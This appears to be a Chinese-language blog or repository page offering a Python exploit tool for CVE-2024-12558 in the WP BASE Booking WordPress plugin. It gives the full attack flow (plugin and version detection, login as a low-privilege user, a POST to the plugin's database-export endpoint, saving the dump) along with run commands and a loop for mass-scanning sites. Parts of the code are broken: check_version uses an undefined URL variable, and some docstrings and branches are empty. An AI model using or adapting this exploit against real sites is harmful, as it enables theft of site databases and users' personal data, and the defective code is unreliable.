WP BASE Booking插件数据库导出漏洞(CVE-2024-12558)利用工具

5 阅读5分钟

WP BASE Booking插件数据库导出漏洞(CVE-2024-12558)利用工具

一个专业的WordPress安全检测与漏洞利用工具,专门针对WP BASE Booking of Appointments, Services and Events插件中的CVE-2024-12558漏洞。该漏洞允许已认证的用户(订阅者级别及以上)导出数据库敏感信息。

功能特性

  • 自动化漏洞检测 - 自动检测目标站点是否存在易受攻击的WP BASE Booking插件

  • 安全认证集成 - 支持WordPress用户名密码认证,完整模拟攻击者利用过程

  • 数据库导出利用 - 成功利用漏洞后自动导出数据库内容并保存为SQL文件

  • 彩色终端输出 - 使用colorama库提供清晰、直观的彩色执行状态反馈

  • 错误处理机制 - 完善的异常处理,确保在各种网络环境下稳定运行

安装指南

系统要求

  • Python 3.6+
  • 目标WordPress站点需可网络访问

依赖安装

# 安装必要依赖包
pip install requests
pip install colorama

工具下载

# 克隆仓库
git clone https://github.com/yourusername/CVE-2024-12558-exploit.git
cd CVE-2024-12558-exploit

使用说明

基础用法

python CVE-2024-12558.py -u http://target-wordpress-site.com -U username -p password -o exported_data.sql

命令行参数

参数说明是否必须
-u, --urlWordPress站点的基础URL(例如:example.com)
-U, --usernameWordPress用户名
-p, --passwordWordPress密码
-o, --output数据库导出保存文件(默认:output.sql)

典型使用场景

1. 完整检测与利用流程
python CVE-2024-12558.py -u https://example.com -U subscriber_user -p password123 -o exploit_result.sql

执行后,工具将依次:

  • 检测插件是否存在
  • 验证插件版本是否易受攻击
  • 使用提供的凭证登录WordPress
  • 触发数据库导出功能
  • 将导出的数据库保存到指定文件
2. 仅检测插件版本
python CVE-2024-12558.py -u https://example.com -U test -p test -o /dev/null
3. 批量检测

结合其他工具,可创建批量检测脚本:

for site in $(cat sites.txt); do
    python CVE-2024-12558.py -u $site -U dummy -p dummy -o ${site}_export.sql
done

预期输出示例

Checking for the existence of the plugin at http://example.com/wp-content/plugins/wp-base-booking-of-appointments-services-and-events/...
Plugin found! Proceeding with further checks.

Found version: 4.9.2
The site is vulnerable! Version 4.9.2 detected.
Attempting to log in...
Logged in successfully.
Sending POST request to export the database...
Database export request successful!
Database saved to output.sql

核心代码

插件存在性检测

def check_plugin_exists(url):
    """
    检测目标站点是否存在易受攻击的插件
    
    通过访问插件的标准路径,检查HTTP响应状态码来判断插件是否安装。
    使用HEAD请求减少数据传输,设置超时防止长时间等待。
    
    Args:
        url (str): WordPress站点的基础URL
        
    Returns:
        bool: 插件存在返回True,否则返回False
    """
    plugin_url = f"{url}/wp-content/plugins/wp-base-booking-of-appointments-services-and-events/"
    print(f"{Fore.CYAN}Checking for the existence of the plugin at {plugin_url}...")
    
    try:
        # 使用HEAD请求提高效率,设置10秒超时避免阻塞
        response = requests.head(plugin_url, timeout=10)
        if response.status_code == 200:
            print(f"{Fore.GREEN}Plugin found! Proceeding with further checks.")
            return True
        else:
            print(f"{Fore.YELLOW}Plugin not found. The site is not vulnerable.")
            return False
    except requests.exceptions.RequestException as e:
        print(f"{Fore.RED}An error occurred while checking the plugin: {e}")
        return False

漏洞版本检测

def extract_version(version_text):
    """

    
    使用正则表达式匹配"Stable tag:"后的版本号,格式为x.x.x。
    版本号用于判断目标是否在漏洞影响范围内(<=4.9.2)。
    
    Args:

        
    Returns:
        str: 提取的版本号字符串,未找到则返回None
    """
    match = re.search(r"Stable tag:\s*([0-9]+\.[0-9]+\.[0-9]+)", version_text)
    if match:
        version = match.group(1).strip()
        print(f"{Fore.YELLOW}Found version: {version}")
        return version
    return None


def check_version(url, vulnerable_version="4.9.2"):
    """
    检查插件版本是否易受攻击
    

    版本比较基于字符串字典序,适用于语义化版本格式。
    
    Args:
        url (str): WordPress站点的基础URL
        vulnerable_version (str): 存在漏洞的版本号阈值
        
    Returns:
        bool: 版本易受攻击返回True,否则返回False
    """

    print(f"{Fore.CYAN}Checking version at {version_url}...")
    
    try:
        response = requests.get(version_url, timeout=10)
        if response.status_code == 200:
            version = extract_version(response.text)
            if version:
                # 字符串比较版本,适用于标准语义化版本格式
                if version <= vulnerable_version:
                    print(f"{Fore.RED}The site is vulnerable! Version {version} detected.")
                    return True
                else:
                    print(f"{Fore.GREEN}The site is secure. Version {version} detected.")
                    return False
            else:

                return False
        else:

            return False
    except requests.exceptions.RequestException as e:
        print(f"{Fore.RED}An error occurred while checking version: {e}")
        return False

主利用流程

def main():
    """
    主函数:解析命令行参数并执行完整的漏洞检测与利用流程
    
    1. 解析用户输入参数
    2. 检测插件存在性
    3. 验证插件版本
    4. 用户认证
    5. 触发数据库导出
    6. 保存结果
    """
    parser = argparse.ArgumentParser(description='CVE-2024-12558 WordPress Plugin Exploit')
    parser.add_argument('-u', '--url', required=True, help='Target WordPress site URL')
    parser.add_argument('-U', '--username', required=True, help='WordPress username')
    parser.add_argument('-p', '--password', required=True, help='WordPress password')
    parser.add_argument('-o', '--output', default='output.sql', help='Output file for database export')
    
    args = parser.parse_args()
    
    # 步骤1:检查插件是否存在
    if not check_plugin_exists(args.url):
        return
    
    # 步骤2:检查版本是否易受攻击
    if not check_version(args.url):
        return
    
    # 步骤3:登录获取认证
    print(f"{Fore.CYAN}Attempting to log in...")
    session = requests.Session()
    login_url = f"{args.url}/wp-login.php"
    login_data = {
        'log': args.username,
        'pwd': args.password,
        'rememberme': 'forever',
        'wp-submit': 'Log In'
    }
    
    try:
        login_response = session.post(login_url, data=login_data, timeout=10)
        if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
            print(f"{Fore.GREEN}Logged in successfully.")
        else:
            print(f"{Fore.RED}Login failed. Check your credentials.")
            return
    except requests.exceptions.RequestException as e:
        print(f"{Fore.RED}An error occurred during login: {e}")
        return
    
    # 步骤4:触发数据库导出
    print(f"{Fore.CYAN}Sending POST request to export the database...")
    export_url = f"{args.url}/wp-admin/admin-post.php?page=wp-base-booking-of-appointments-services-and-events&action=export_db"
    
    try:
        export_response = session.post(export_url, timeout=30)
        if export_response.status_code == 200 and len(export_response.text) > 100:
            print(f"{Fore.GREEN}Database export request successful!")
            
            # 步骤5:保存导出结果
            with open(args.output, 'w', encoding='utf-8') as f:
                f.write(export_response.text)
            print(f"{Fore.GREEN}Database saved to {args.output}")
        else:
            print(f"{Fore.RED}Export failed. Status code: {export_response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"{Fore.RED}An error occurred during export: {e}")


if __name__ == "__main__":
    # 初始化colorama以支持跨平台彩色输出
    init(autoreset=True)
    main()

免责声明:本工具仅供安全研究和教育目的使用。未经授权使用此工具攻击他人网站是违法的。使用者需自行承担因滥用此工具而导致的一切法律责任。 6HFtX5dABrKlqXeO5PUv/9leHDzyRZDbOZvaW1B2yiYVQfGNDoP7XMsPkhdkdiuc